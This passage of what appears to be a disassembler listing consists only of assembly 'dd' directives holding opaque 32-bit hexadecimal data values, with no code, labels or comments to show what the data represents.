		dd 0BD0F1E78h, 5EA23240h, 13EE9DAh, 7A811DA7h, 0E8443875h
		dd 0FCBAC44Ch, 88656E22h, 64F520h, 4B8B0F28h, 0A33AA9D3h
		dd 0CF19EA00h, 966CE58Ah, 0D8914D01h, 0BE1948C0h, 0C00EA85h
		dd 0DC397926h, 1A8458Ah, 0CB1012E1h, 6CEDD450h,	80E388F0h
		dd 82EECD78h, 62170BC9h, 0D4529D81h, 3F9FF488h,	0F8816EAAh
		dd 0FF3C8288h, 1A53D814h, 92CBB412h, 48301C84h,	4403Eh
		dd 2BACE24Eh, 7FF4BD01h, 432AB38h, 0B50DBB9Ah, 5843D8E4h
		dd 0D085A091h, 400894ABh, 0C861D540h, 193B1E4Ch, 83650094h
		dd 0D14A7C27h, 60804A77h, 5D166E04h, 73CE2F00h,	17E28363h
		dd 0B33F0120h, 86A25D4h, 4D182435h, 0A57C61C0h,	1D6FAD7h
		dd 1976A22Ch, 0C8148040h, 0E4055EFDh, 0F8220BD3h, 3F4890E3h
		dd 0DFD8224Eh, 11C70C44h, 0CCEB10DEh, 469101A4h, 6FE6F5A7h
		dd 49E87355h, 0D6BE0108h, 8B2586BAh, 5A705ADAh,	60DC12F8h
		dd 0D7491F78h, 0C7E78600h, 0FD5C80E0h, 0AE5D19CFh, 23718992h
		dd 0B9BD00B4h, 6219819Eh, 64A3BD1h, 6B0E33BFh, 12730B2Eh
		dd 1C20CC70h, 449BF100h, 857472AFh, 0C0889415h,	9790202Eh
		dd 0D9881900h, 42A04AB8h
		dd 0B6D0B211h, 609DC7BCh, 83120CE6h, 0E1129872h, 44B692A2h
		dd 0DBA56503h, 0ACE4A3D1h, 8CE6C0BCh, 100BD611h, 66264CEh
		dd 937AC509h, 7461277Ah, 0F0143098h, 77EE6B03h,	9B49ACDFh
		dd 0AEC288D6h, 1C6772D0h, 30799014h, 0BAE27028h, 48965E3Bh
		dd 0BFD70045h, 18ECF739h, 264900B6h, 8160AA94h,	841DE813h
		dd 0F040EAF9h, 0EC476210h, 2D01D70h, 36F5C358h,	6000DB08h
		dd 0E59AAEF0h, 3CDD447Dh, 288748CCh, 0ECB3E4E1h, 0F9607740h
		dd 4B77008h, 1DAA007Bh,	0D0718947h, 61300834h, 0EF1548CFh
		dd 1094012Fh, 547F0C13h, 0B0E8C7B5h, 353887B4h,	18A40CD7h
		dd 2C79CCh, 93EDE8FCh, 6816D9BFh, 0C3035301h, 901D22AFh
		dd 0A101609Eh, 84DB770Ah, 0CC988F80h, 0EE40F137h, 0A0A40694h
		dd 29A12785h, 0F1C844h,	8002D15Dh, 678F4D8Ch, 0D01880EDh
		dd 7B1E7EBCh, 6F53313Fh, 1050F168h, 60FF6710h, 519128EFh
		dd 1C0034D5h, 32D43F90h, 0D8EE447h, 0C7779DE3h,	5860FC69h
		dd 0FA036098h, 3440AB1Dh, 0DE67E1E1h, 8AEB4980h, 0C35B368Eh
		dd 0A693C800h, 62CEFAB5h, 5C046628h, 7C0A8815h,	649370E0h
		dd 22DC7860h, 218F0EFh,	13F5ABA5h, 0A4A0DA07h, 66AD8573h
		dd 8EC3050Bh, 185C0C6Ch, 7120C668h, 707ED94Ch, 8C8061DFh
		dd 0AE4A05FDh, 0EF97286Eh, 387349F0h, 67115D32h, 3C27823h
		dd 7B0A1141h, 0EDD0F425h, 0C002CF09h, 82277D88h, 4D49107h
		dd 8384F4h, 0DEEE360Bh,	42185CC4h, 729D7A00h, 0E7EC9949h
		dd 7BF0A18Fh, 0F93C91B8h, 1259D160h, 11038F7Dh,	0CE9033EFh
		dd 0D0813C4Fh, 0F6577209h, 2249482Fh, 81341420h, 1C0C49CEh
		dd 21F84E72h, 31F202EFh, 6A8DC40Fh, 714B081h, 876980E7h
		dd 0BCFDF856h, 9211184Dh, 7490C043h, 9881D136h,	9CA9D128h
		dd 0E8C6557Ch, 936FE3F0h, 8BE44050h, 75EAFAC6h,	4398BF71h
		dd 4A2EAC19h, 9D10C229h, 0D0003A7Eh, 1AB8C5CEh,	0CFEA0F1h
		dd 0E13698D9h, 80FBABE0h, 0A325BB71h, 0F8BA60A1h, 0B09E00AAh
		dd 3369E090h, 8F004244h, 7021CA97h, 5F6B677h, 23BE5A96h
		dd 3EC5208h, 843B4B34h,	0D9071118h, 0C4C119h, 0DA2BBA97h
		dd 0C358B42Ch, 79789050h, 0DF5A7188h, 151709E9h, 864A9400h
		dd 0E43774D3h, 26C9CE73h, 1520187Ch, 0DC124DCDh, 606F010Ah
		dd 0BB14F94h, 80D7A738h, 7444EEECh, 0BBD53F27h,	40D475A4h
		dd 16A97334h, 718FFF10h, 0B95EE719h, 0FC08945Ch, 0F0AB29C4h
		dd 0B100E31Fh, 471502CBh, 29DC07B0h, 2A9CA5A2h,	0D9C44618h
		dd 0BEE7B405h, 0A4C058F5h, 0B63ACDh, 0C3A86A1Ah, 0FE678D63h
		dd 0A0983CE8h, 8E33F039h, 60CB5B90h, 0D0534A01h, 6E440C5Dh
		dd 71E0108Eh, 13E54E10h, 0C91A6718h, 0FF000DB4h, 4C321C88h
		dd 7BEBE59Fh, 0D16D2882h, 0C149194h, 7C96BABh, 1EE45Ch
		dd 0E2479C84h, 2488F1E8h, 8E3C4026h, 7093DAEDh,	8758E814h
		dd 63698E04h, 900FB61Ch, 0A5685A0h, 3300E359h, 4C9FDEFDh
		dd 90C716F9h, 0F45D49B0h, 5250F703h, 0C9B91E3Dh, 7F9C202Ah
		dd 0D09C98D0h, 1D722C0h, 2839910h, 517BED46h, 0F0A034D0h
		dd 72159BEAh, 484F559h,	0FE2FF1D1h, 0FA952497h,	80489027h
		dd 0CE4256DCh, 92016269h, 7B35BB9Fh, 0FED0506Eh, 0F80F49C0h
		dd 0AF728A02h, 3887B50Ch, 59858373h, 10F658B9h,	0C9809E26h
		dd 6422B020h, 90226681h, 56DE85B4h, 0FF0B442h, 1E844CFh
		dd 0EA972634h, 93FF098Ch, 386366B1h, 8E5029E1h,	49D899D4h
		dd 3DDFC4E3h, 0BC2B8D04h, 70C870A4h, 0C0495967h, 0D821C700h
		dd 35DD1C81h, 8001622Ah, 0EEB05601h, 4A3A885Fh,	6BED3D8h
		dd 0D9A20CF6h, 4E4C899Ah, 6708D9E4h, 1D34CC4Ch,	2C86EFF8h
		dd 0CBF1429Ch, 564AD490h, 2248CF1Fh, 96AA9A03h,	34290B0Bh
		dd 30907883h, 0F00BBE0h, 0D2765108h, 0D7955h, 0EAA832E4h
		dd 8E40F920h, 7E42954h,	6F916260h, 0A186BBh, 7DC083B8h
		dd 409195D7h, 45EEC613h, 0C844FD12h, 8C94ECDh, 0C0CC1C60h
		dd 5D0FE5A1h, 0AAE40552h, 53764400h, 49CD7DF9h,	688F2CB9h
		dd 40FF4544h, 74B7A6C4h, 0DA00E5B6h, 1A63FB5Ah,	515A048h
		dd 596412AAh, 0E4C09223h, 22E89120h, 5F5405CDh,	0C0A9C771h
		dd 0D8E37FC4h, 2CD90A20h, 15F44D10h, 5818B869h,	0C9D171CBh
		dd 7CA6E974h, 2F00E6E6h, 6A4342E2h, 0C10177h, 71A2950h
		dd 7D249652h, 93AC1458h, 8CD1C408h, 3994667h, 0D704E907h
		dd 6EF3A211h, 98D1D496h, 0E048E4EDh, 323F054Fh,	9033DBC1h
		dd 0B0EDD20Ch, 0FC02372Eh, 0C6D8583Ch, 0A15407h, 437AF5FFh
		dd 2345C6F3h, 9DD75900h, 5D446B01h, 72530932h, 20254EFBh
		dd 78898073h, 57E559B5h, 540D9EA0h, 0A0E007F9h,	0E775607Bh
		dd 5F722211h, 44959040h, 104190EEh, 22F9F442h, 9CCE9AD1h
		dd 116DAB30h, 6C859Dh, 0D3733D4Eh, 5CF3D87Eh, 0E7E1F9C0h
		dd 0F94FD6h, 0BE2337BBh, 79CE80A5h, 3050E569h, 906668FCh
		dd 0B446009Eh, 64D6165Bh, 962499E7h, 9000404Bh,	0A9F6B8F1h
		dd 0AB322620h, 21F0C010h, 0F0980DEEh, 49CCE409h, 0B730A54Dh
		dd 2664DC11h, 5550888Bh, 500A84E5h, 0C818ED53h,	8E1701BCh
		dd 7FD1FE21h, 0BCDCEC44h, 0BE3A1E18h, 41DD1D6Dh, 3EB0BC28h
		dd 1AF022EFh, 79CA77h, 0A85A5993h, 0C0E058CBh, 0CFE42293h
		dd 8AF04A27h, 3F98212Ah, 5500408Fh, 5F56F230h, 7C68632Bh
		dd 3F035831h, 0F9F302DCh, 9825A79Ch, 11011429h,	92831B8Ah
		dd 0F2E99FF7h, 0E546E0ACh, 18D31E99h, 1D5DDAh, 10483C55h
		dd 0E3CF6B0h, 7951028Fh, 0B070266Ch, 1BFD5F8h, 0B836773Ah
		dd 0C9290456h, 76187415h, 0E4AB12E1h, 54EF013Ch, 0D48928E5h
		dd 0FF8191ADh, 1EE44400h, 188C9553h, 73A5C207h,	1A203902h
		dd 0D7F4C35Eh, 72D42328h, 5F589FD0h, 0C8247A7Ch, 89847C9Ah
		dd 50C22B3Bh, 0C9B72503h, 5CE5DE38h, 99E05F80h,	4F373E6h
		dd 1341089Fh, 616CD0C9h, 940FB27Dh, 96EA2BADh, 0C736D060h
		dd 0D4640499h, 9075E3A2h, 0B0E6AA98h, 683072F4h, 0B20E811Bh
		dd 38A63993h, 0E8D74B0Fh, 9CE809F7h, 3B345C20h,	1177D9EAh
		dd 0F9D10702h, 0E2EF0AA7h, 2EFC44A5h, 4AA44FCDh, 446F1154h
		dd 9D88D3B0h, 863019F7h, 627B202Fh, 69830084h, 0B572353Dh
		dd 0E0F105BDh, 0C9DCB1AEh, 9BA84074h, 8B1FC8Ch,	0EF410B40h
		dd 639C0098h, 0A73BBA70h, 0EB02DA42h, 19B5F7EDh, 487621E8h
		dd 5C2510ECh, 94589CEFh, 2880840Dh, 0D28BFF60h,	3C01BFEEh
		dd 9F3A36A1h, 31A6FDA9h, 0A8A04E10h, 25A1D1E1h,	0B0E0B854h
		dd 20788025h, 6FF43DCCh, 54A003C9h, 0C0679079h,	0AD0B5A88h
		dd 9E80F894h, 5FB76EEFh, 5CF97049h, 0CD8378F2h,	994C0E4Ah
		dd 307824B4h, 0BB307BCh, 6630A595h, 0E4E7CAh, 0F8B136EBh
		dd 6A5C0E2Eh, 2DEAF701h, 4D1C9746h, 66F801DDh, 77F51976h
		dd 0C553684Bh, 109B07CFh, 1F40C14h, 0AD9252BCh,	3CE7C8F8h
		dd 765BC100h, 0A9AE99CAh, 4773408Ch, 0F603138Eh, 749001FDh
		dd 0EF34D9EAh, 61DAABC4h, 77FC6841h, 17B451E2h,	0D022ACh
		dd 0DAC957A0h, 0F9412Fh, 3EE295C5h, 92536E8Ah, 297A1636h
		dd 0AC344A8h, 1E4D2A01h, 72189EB3h, 0B28A2181h,	0D55C1C82h
		dd 0F34AC497h, 73AA0100h, 0B7499DE8h, 0C3E4E581h, 0C41613C0h
		dd 2F4030E6h, 0F6009E9Fh, 4AF780DAh, 19EFC789h,	81C3C8D1h
		dd 2CC2207h, 357AF73Ch,	4CF1C080h, 56D3038Bh, 0F437419Fh
		dd 0BC8010DAh, 1E9EF1Dh
		dd 60577126h, 0E593D142h, 5E1F80E4h, 0EFC18F63h, 5D984403h
		dd 978BBC0h, 0DCDFB379h, 2DF6EC40h, 33F2E80Ch, 94D1C011h
		dd 0F9F84098h, 90134C3h, 8F415006h, 4296211h, 0B5F68000h
		dd 4769852Fh, 0A08EC42Ch, 0EF95ED40h, 0E1E1612Bh, 0C10FF7E3h
		dd 425464D5h, 0BD939000h, 0E753DD95h, 0CFFB018Eh, 0D1A0017Bh
		dd 506C2D8Dh, 0D0A8CE50h, 0D700D280h, 0C2A5507h, 9037A449h
		dd 238204ECh, 0C875CD97h, 6D057C7Ch, 0B4C8C2B0h, 0F2718C44h
		dd 48933CA4h, 0E0D4049Bh, 20450D3Eh, 0C7389AA4h, 0AE608006h
		dd 8D42F77Ah, 44E84884h, 44210727h, 0C0938266h,	0D0B968E1h
		dd 7F0F5400h, 15C3360h,	0A0F04172h, 3B5B9E6Fh, 94E3D0B5h
		dd 4ACE68B0h, 1A9C5D43h, 0AC5BA8ECh, 5D01B528h,	74F97897h
		dd 0B3433CA8h, 8F84A8A4h, 0E64412CEh, 0C8449DEFh, 8C004075h
		dd 2BC417D8h, 20BD325h,	22EA0FF1h, 0E45167EEh, 315CD800h
		dd 3F68D9Bh, 0F754C508h, 8100DC86h, 1151ED83h, 3EBCAFh
		dd 0FC5CCA32h, 0FD2686B5h, 986C2128h, 22A05A00h, 33D93649h
		dd 17E51487h, 7184FC2Dh, 0C85CC958h, 0ECA8D2BAh, 280C8AF5h
		dd 18C6521Dh, 0FB80AB6Ch, 947AB0C2h, 0B9FE0116h, 53640FD8h
		dd 8BC4F598h, 0A0EE6748h, 6FC11984h, 6DA100A2h,	33EA44E8h
		dd 0BD489D72h, 89C7C374h, 0D027A32Fh, 8F153Ch, 0DCD7665Eh
		dd 6DBAF954h, 0FC6B9C88h, 4AE80359h, 7DDDF03Fh,	30E3D6C1h
		dd 0F0EFB670h, 78F486F9h, 9A00C4B1h, 3D2BDF69h,	0D2FD0267h
		dd 52538DAEh, 4F102C48h, 86E78913h, 0AB7E8420h,	5C500CBh
		dd 0DFD8A731h, 4D00982Fh, 1075CFF4h, 945401B8h,	50CD8998h
		dd 69806818h, 0EB8EB904h, 1C90F46Fh, 0CF71510h,	6D3F4B24h
		dd 0E04013D0h, 0D9DF60ABh, 732F96CDh, 9E652B00h, 3D465011h
		dd 889800BBh, 0FEEAD2F1h, 0CF905617h, 7042BC9Ah, 485B4900h
		dd 8A187AB5h, 0F6501004h, 8481E7B3h, 0A8224D71h, 0C196267Fh
		dd 3CC81C44h, 0A2C0E85Dh, 88A07693h, 1D9B8C00h,	0B964E31Eh
		dd 97100F20h, 31E3D499h, 402172D1h, 5A364070h, 0C300A580h
		dd 3B0A5C26h, 0E5653AAh, 0E35222BDh, 0E4107848h, 0B0A17D22h
		dd 3DC4324Dh, 38AA422h,	1CAB7302h, 0C3E484C4h, 351F2340h
		dd 9409EC9Ah, 0E86254B9h, 241D64h, 4F086FEh, 6E72DB60h
		dd 5F9B5200h, 0D7D8DABEh, 0EB77012Dh, 0D15D01B0h, 0A4902881h
		dd 0F8DC0BBh, 0F3EC8E23h, 0AF5AD407h, 0F00AA5B9h, 47E70140h
		dd 47489ECFh, 0AD1B121Eh, 0DA005044h, 0DB9CB3D2h, 0BB9550Dh
		dd 9D2EB4F3h, 0B22F0C83h, 8A178005h, 1CB46039h,	84C648D1h
		dd 386C718Bh, 21660819h, 0D0298738h, 5FFA7E00h,	8FD5EAAFh
		dd 264098B6h, 3083332Fh, 2786C9A8h, 0E20080B7h,	0F152836h
		dd 0E810F9C4h, 56AC4F6Bh, 0D44D0050h, 73356164h, 0AE57C63Ch
		dd 223F3840h, 4AD03E67h, 0EB0100F2h, 450F6DDEh,	2107E790h
		dd 384FD15Ah, 186BEDF1h, 0B466E070h, 74144BDCh,	2C433B20h
		dd 14628086h, 7101107Fh, 0E7238F9Dh, 934310Bh, 704547D0h
		dd 3969BCECh, 27240898h, 4600E843h, 0C1EDAC60h,	2F7DFBh
		dd 793F0E6h, 47C52954h,	8AEF0802h, 51C832EDh, 77500F0h
		dd 1CA6FC9Eh, 20BB7625h, 0D9DACD4Ch, 5F7B13E0h,	0FA7430CAh
		dd 0C200D148h, 8721AE73h, 0C89AFF8h, 0E6F1557Ch, 0B04CC479h
		dd 34F15F4h, 0A7047898h, 0EC48B65Ch, 3A00E4A2h,	265159AAh
		dd 91026692h, 0F5E5DDCh, 20949412h, 8E842AFh, 6C465926h
		dd 0F3003345h, 3AA46012h, 2DBF0FD4h, 0BE85D1D9h, 88425C2h
		dd 28A881B0h, 8E16C886h, 4832CDBAh, 25B490ABh, 17F6E7h
		dd 4DF38722h, 0C9DA42D6h, 9BC4A700h, 187CEC63h,	8C4A0202h
		dd 6471B7CFh, 0B20010D1h, 1506F39h, 0D0A52F53h,	0CDAC5030h
		dd 55BCF500h, 3E5CF6E9h, 374C0069h, 87D57BD4h, 3869AC17h
		dd 6D188189h, 0F0290676h, 0ACE4AA03h, 8FD8C1A4h, 9A000351h
		dd 0C793081Dh, 58074E74h, 0DA22AC11h, 1BFA8538h, 0D8CEB076h
		dd 1E6E101Ah, 5450CC16h, 28C17CF0h, 707FF5A1h, 0A8798D11h
		dd 376A191Dh, 1E527180h, 90357396h, 495B4E6Ch, 1CC86704h
		dd 73007922h, 4F3C8AACh, 371AABDh, 9BCA9023h, 8EB8691Ah
		dd 8626435Ah, 7338FCD4h, 77D95664h, 3E2E8A4h, 89790176h
		dd 7CA8E542h, 8AEAA266h, 0F4129509h, 0D79600EDh, 14F7F4Dh
		dd 9001F360h, 2282D121h, 0F0A2241Ch, 0A088C717h, 935B845Bh
		dd 7615E4B8h, 0B703FC77h, 0C9D187BDh, 0E30631DEh, 8C488AF0h
		dd 1F9016Ch, 93422C0h, 0D2F470FFh, 0D7F70084h, 67FE4F2Fh
		dd 5C09FA43h, 0C86F0221h, 9C4DCDF4h, 0DBD426Ch,	41C9F0E1h
		dd 15CE5F4Ch, 908EC0C8h, 1921014Fh, 0E630AAE7h,	806420C3h
		dd 789010E9h, 4C8788C8h, 0E16CB000h, 0D12069A8h, 20E0458Eh
		dd 8A4C9588h, 986C2FB4h, 2CF7948h, 0B6B19005h, 0E0D97234h
		dd 44404E09h, 0BDC80EC8h, 0E24018B1h, 62F7653Ch, 7C80ACBCh
		dd 1463C8B3h, 4AE900ACh, 22763CDFh, 0F003473h, 90703517h
		dd 6B74298h, 8F594E8Dh,	3EFA5979h, 2506943Ch, 50680278h
		dd 0ED012217h, 77520C52h, 0D82A0090h, 2BB0C3C7h, 0E2711604h
		dd 8CB888C2h, 9E866200h, 0A6FA0293h, 357C00FFh,	5CC7E304h
		dd 5F042FEBh, 79CC4992h, 340030ADh, 605A2437h, 754ACDD2h
		dd 26E47488h, 42345E58h, 0A8AF71BAh, 804408C0h,	1900345Fh
		dd 13D5AEDBh, 0F56D25h,	0F7813522h, 0DE215160h,	85C7005h
		dd 0B017029Dh, 0C117E423h, 7BE26F38h, 73803AA8h, 94D3A2BBh
		dd 0BF002530h, 0B667C812h, 14DAE92h, 0B0A57CD1h, 23DF94C2h
		dd 2A500940h, 64381008h, 0AB070397h, 8F82A3A6h,	0C5AC2D90h
		dd 3CFB8B88h, 0F78F7553h, 3580A8E0h, 8F075208h,	0E30018B0h
		dd 6E8DC30Fh, 58171D6Ah, 0BC00EC7Ah, 0BB5014EAh, 4709FE54h
		dd 0C0DCDE8Eh, 0AE1F770h, 42CCF6CFh, 0E29440A0h, 0AF24EF6Bh
		dd 0B180A08Fh, 46544A06h, 80D1F94Dh, 45804828h,	0D231E9E5h
		dd 2D300E09h, 88C467h, 0D574FD6Ah, 5356C924h, 0BAF55403h
		dd 907F4101h, 24118134h, 582CBC45h, 10807D55h, 0ED022525h
		dd 680A54A2h, 0A801605Ah, 18865474h, 0EAC0E782h, 763F0BC7h
		dd 0C4825A07h, 6056A925h, 71176C11h, 0D13C214Eh, 0B42295h
		dd 173763BAh, 9E3AE6C4h, 9E8300DCh, 0BCA68260h,	0B05F4537h
		dd 24044C9h, 0EBB82D17h, 0ACD857F4h, 8D990E60h,	2712B4B1h
		dd 0D0130234h, 0AE2F82F0h, 78685714h, 0A90B76A8h, 10BAEA2Bh
		dd 13CF50DCh, 240F4D5h,	55611CB4h, 0B45A6042h, 4AA7B07h
		dd 0EA30E22Bh, 7584A4h,	6876B0E1h, 0CE082521h, 3670F081h
		dd 0F68F001Fh, 0A08D1B19h, 965BFEACh, 0E43F4FF8h, 329AD117h
		dd 9931F2D4h, 488750F1h, 0D1C5EF10h, 0DAC95D05h, 4901D850h
		dd 8E7554A1h, 0E3FCED10h, 0BF212582h, 9E90D420h, 79071A4Fh
		dd 0FEF9D1CDh, 4C09A01Ch, 0EF227008h, 7FF0F879h, 80887949h
		dd 0EA108056h, 0F0E1002Bh, 0F9FC13F8h, 104B0CFh, 0D6FD93C2h
		dd 0EF94A8C1h, 0C05CFC10h, 0E040BB4Eh, 7D0FDEAAh, 67AB034Eh
		dd 5CA54966h, 94E83FD8h, 0E7C0804h, 70818C97h, 0B2D0A14Dh
		dd 0F17A95h, 72D1C991h,	903106A8h, 93531477h, 25A2394h
		dd 18676BEEh, 16DFFCA0h, 9A07FE56h, 990652Eh, 0CEAAB5C0h
		dd 1A5D0222h, 4CEA2C5Eh, 3C607C42h, 6029940h, 0FE3AC660h
		dd 6C04468h, 787A6FD6h,	1811E85Dh, 0AE0FDEACh, 0B74BE28Dh
		dd 7F68C100h, 7FAFAFFh
		dd 0D37B0F01h, 37502A3Dh, 0C676BC42h, 0C618275Ch, 9805B00Bh
		dd 226CB21Bh, 0A6B88071h, 11CD6018h, 565A4A3Ah,	42C921Ch
		dd 0C78BFE00h, 917C125h, 98D05EB2h, 0C4E4D02Bh,	0CDE78B03h
		dd 0E82C1F04h, 79316115h, 68C20578h, 20BAEF22h,	244D35A4h
		dd 0D9019773h, 0CD9BB159h, 7B100242h, 8E39F180h, 1E2A0BE5h
		dd 7E008201h, 5E84C2B1h, 3B1B4030h, 44013607h, 0E463E6C8h
		dd 0D3F02308h, 0C62E2518h, 0C3F56C91h, 0FE1BE80h, 4013B893h
		dd 1817D420h, 93A0C04Fh, 0C46572A7h, 8088D0BEh,	667189D2h
		dd 0A04D7468h, 119D69FAh, 4C8508Ch, 0B28C00DFh,	0FC88780Fh
		dd 209548CCh, 0FD9F3458h, 0D25B014Fh, 8E795683h, 0C4443007h
		dd 0C021BD8Bh, 98DBF982h, 0E7948Ah, 78FB0239h, 7A29369Ch
		dd 8C73A826h, 8FE4EC08h, 0F81451CDh, 4F9832D2h,	0F3BB6A60h
		dd 3F6024B4h, 2E2FBDCEh, 912094E2h, 8CEA0FF5h, 23BE00FFh
		dd 2FC702EEh, 0D4915401h, 0B149E812h, 7B19DAB0h, 0D0396260h
		dd 715AED8h, 0D274938Eh, 0A75130E8h, 2C05AC58h,	0A912035Fh
		dd 2608CCh, 0BEAB63B3h,	0CF6842AFh, 1182B512h, 481D3CB2h
		dd 4308C036h, 0EC9388BAh, 0C4006DB8h, 2DAD454Fh, 9816F78Eh
		dd 0A0F04830h, 0B739FD32h, 3442C4D2h, 1702F121h, 0C487088Eh
		dd 0AECD0060h, 90A2824h, 0DD24F6B2h, 912F38D7h,	0F708825Ch
		dd 24665C2Fh, 5C84863Ch, 0C98F057h, 0C0E7044Fh,	90290982h
		dd 15326460h, 0CDE11C9Ah, 0EFA853E6h, 608C7DF1h, 564B0179h
		dd 21F4D0C9h, 0C43D0CEEh, 9059DE94h, 5A0518FAh,	0AC32D6EAh
		dd 0F3C0381Fh, 0FE34AD53h, 0F0690050h, 6041490Fh, 23049C93h
		dd 8AEF3DE7h, 60805885h, 12506890h, 30CCF0B5h, 0B1187B1Ch
		dd 3105940h, 0FF08AD4Dh, 5D806367h, 0E712B821h,	30046BEAh
		dd 0C8819C4Fh, 646C5CCDh, 0B4A85AC7h, 8310BCF1h, 0C46C82C4h
		dd 8B80A0A9h, 0A44C3FAEh, 9D864E16h, 707840C8h,	29A6008Ah
		dd 0EA5502FCh, 0D51CCBEFh, 0E8A423A2h, 0B1B91187h, 3CB29B84h
		dd 4198EB07h, 0FCC9C0F6h, 5400B011h, 0D0B87DDCh, 9654721h
		dd 18BE045Eh, 0F05C5101h, 78AC48ABh, 9CD64601h,	7CFF637Eh
		dd 1851FD8h, 8C4E0DC9h,	2C878480h, 26E48094h, 6841BEh
		dd 0B5A6B76Ah, 0AB796C59h, 23BA80A0h, 86A8859Dh, 80ACFC14h
		dd 0FB8B750h, 40BB4B82h, 3AE3FDD8h, 4400AA28h, 72C0D8A9h
		dd 57D5636h, 2EE96ACEh,	38AC01CBh, 70904173h, 51C0F9BCh
		dd 7136A959h, 823D0005h, 0ED7D3E10h, 961D176Bh,	0DA1F6714h
		dd 9CC858D2h, 7C119FD2h, 0EE0AF427h, 34108A07h,	357032EAh
		dd 5E8661h, 0D61D2183h,	3A0FBD1Eh, 60F9020Bh, 7514CCCFh
		dd 0D35C00B9h, 0DAC42538h, 47040D6Fh, 8540293Bh, 9B8038BCh
		dd 0EB88A267h, 7E93F500h, 228FE801h, 41B90733h,	0C28A1E5Bh
		dd 0B866D068h, 0BF8EF44h, 4E8EB976h, 0C0284C2h,	60714C71h
		dd 0D7D3C141h, 95C00031h, 693E0EDFh, 63248D81h,	0A0C8B8D8h
		dd 179E7284h, 8F8E34h, 58F6EA3Ch, 7648775Eh, 0EDAF00F0h
		dd 0FA01C8FCh, 0CD80A848h, 50BC9C79h, 31006373h, 8C4C851Ch
		dd 0B34657h, 0CC8F9316h, 896DD9B2h, 99C8D114h, 0C128036Ch
		dd 0A1B5301h, 0F3171059h, 206217E4h, 91A89B28h,	9513A300h
		dd 8BF54751h, 9361D7Ch,	9A194343h, 0E00E1BE7h, 6E93CC9Bh
		dd 0F9E898A1h, 343895D9h, 0A400D4F4h, 84F68D19h, 1D186DDDh
		dd 9B9F28Fh, 78885971h,	86FC50C0h, 0F41F1E5Ah, 18C5219Fh
		dd 9CC1D7E4h, 71314C50h, 44775423h, 4D2971D6h, 111D0FCh
		dd 79CA6C00h, 0C0FE60ACh, 0E2280700h, 0C4D9DEC2h, 7D7501C8h
		dd 4544CC18h, 0FA5074D4h, 68AC70B1h, 693B8669h,	73542E58h
		dd 0C41083C8h, 0B3A8B8F1h, 9DEC8EDEh, 10C0AD48h, 17050F15h
		dd 1F91FD95h, 0C7251C4h, 28B59DEFh, 800E52D8h, 5918224Ah
		dd 9A08C819h, 0F5E938C6h, 99A777B0h, 0D99E8E80h, 8041FD47h
		dd 0B0A08561h, 9DF0720Bh, 44370401h, 4C78F8BDh,	6787F8F9h
		dd 7FF5C118h, 866C9D1h,	4CEA7011h, 4FC6A8E8h, 3165497Dh
		dd 5CE27B79h, 483A02Fh,	7CF013D2h, 0C9073240h, 0A1B38A3Ah
		dd 8CEFD0A0h, 949095DAh, 635C84D4h, 0C57D0067h,	0A49F875Eh
		dd 0E02C078Fh, 0C515F0A7h, 0F7588807h, 0AAA0DA00h, 0FD93E4BDh
		dd 781A95A7h, 0AD0E30C6h, 34736E0h, 22D34A4Fh, 60B412B0h
		dd 6AF24540h, 4EC302A0h, 2BBA9502h, 80FC0641h, 52EFF751h
		dd 5F64722Ch, 0C5E82286h, 26F02Ch, 68A20FC6h, 52122191h
		dd 0C4AE7F00h, 0EB1E39ECh, 2230971h, 1C68D6F2h,	0F28B788Bh
		dd 0A0E8515Fh, 4BF270E0h, 300889FAh, 103C08A8h,	529180E1h
		dd 6E4101ACh, 0EC8654EFh, 205C9283h, 0A8B0E0E2h, 0E6844E79h
		dd 0EF4A017Eh, 0F2220A82h, 0E273F9D7h, 0A8ED38A7h, 714ECD89h
		dd 19F18494h, 0E8F285h,	9C7C2318h, 538DB2Eh, 7D4A06D4h
		dd 8078D16Fh, 46641271h, 18D42E8h, 0D8170FE3h, 64735D08h
		dd 9280333Fh, 0EE5FA1CDh, 815F9EEAh, 59DB5420h,	288D1CA4h
		dd 0AF99295h, 91585448h, 3588075h, 0F9CCFCB1h, 8F1ED823h
		dd 0FD2F0068h, 0FFC7D15Eh, 0B4C2B0AAh, 3341340Eh, 30EF6990h
		dd 5C7CA9BCh, 210E9C9Ch, 94BCA03Eh, 2CEA4F16h, 404818A3h
		dd 0C0F4B072h, 0AB01BE73h, 9A0CD048h, 0A8307461h, 0EB53011Dh
		dd 7658F719h, 868EEh, 0DF1CB78Ah, 16109134h, 0EF6FD0EAh
		dd 0EB31CC04h, 0F208C0FCh, 0C88E0381h, 0C48E90DEh, 0EC491091h
		dd 0FD4B7D00h, 0B4050AFh, 0ABF64E02h, 0DB01F4D9h, 0C8A4125Ch
		dd 0B70083B0h, 0C529D113h, 65F9ECh, 0EF6D939Dh,	90703495h
		dd 0C39A4A07h, 0EE8218E4h, 0F06044F1h, 40C8133Ch, 0F78088C4h
		dd 81D10704h, 64F96F93h, 0D8B96580h, 49009635h,	0E488A9A1h
		dd 735BD4FBh, 0FE751F10h, 8646420Dh, 2CD41511h,	7F1AE0CEh
		dd 7425B5A1h, 7A05006Fh, 418A1DB3h, 0A043DC6h, 9288F181h
		dd 0F6678480h, 8C100F89h, 0E93908D7h, 966EF168h, 0C490ABA9h
		dd 8FFF5Dh, 6DF787C0h, 8960BADAh, 0D9A9D0Bh, 0CF08A406h
		dd 0FC118C22h, 3C85D062h, 5500C862h, 0DCC1BA00h, 0DE7ACE0Ch
		dd 0F4F3042Ah, 821D0DCDh, 0AB24F1D0h, 1F87B0C8h, 0C0055CBCh
		dd 75F7B594h, 2A0ADD12h, 880A5B72h, 0EF4400A8h,	0B5828F8h
		dd 0C44E22ECh, 119AD127h, 43095710h, 41220978h,	0CE903EDDh
		dd 2200596Fh, 8CEA87EEh, 0F5FF0800h, 3F10099Eh,	600EF823h
		dd 0F0250832h, 0E44CA19Ah, 24560850h, 26E511E9h, 81122410h
		dd 6CBA640Ah, 0E0C54700h, 2E83725h, 9EFBFA2Ch, 0E4C0E768h
		dd 3E013521h, 97C06E36h, 0E869C80Fh, 0F2FFD280h, 1CECF9A2h
		dd 836D6C00h, 9AC53EB8h, 62F71667h, 53D021D8h, 0F14408CBh
		dd 88EBC517h, 0ACB80658h, 0E85CF2F6h, 9C0D8808h, 4CCA408Bh
		dd 0A726C8B9h, 0EC0A5202h, 896D2F50h, 0B04C49D8h, 6EAF861h
		dd 677E598Bh, 0C6198200h, 10EEE27Bh, 0B821FD50h, 2260206Eh
		dd 0A0309161h, 2204087h, 0CFF52F54h, 870D4C30h,	83EB4Ch
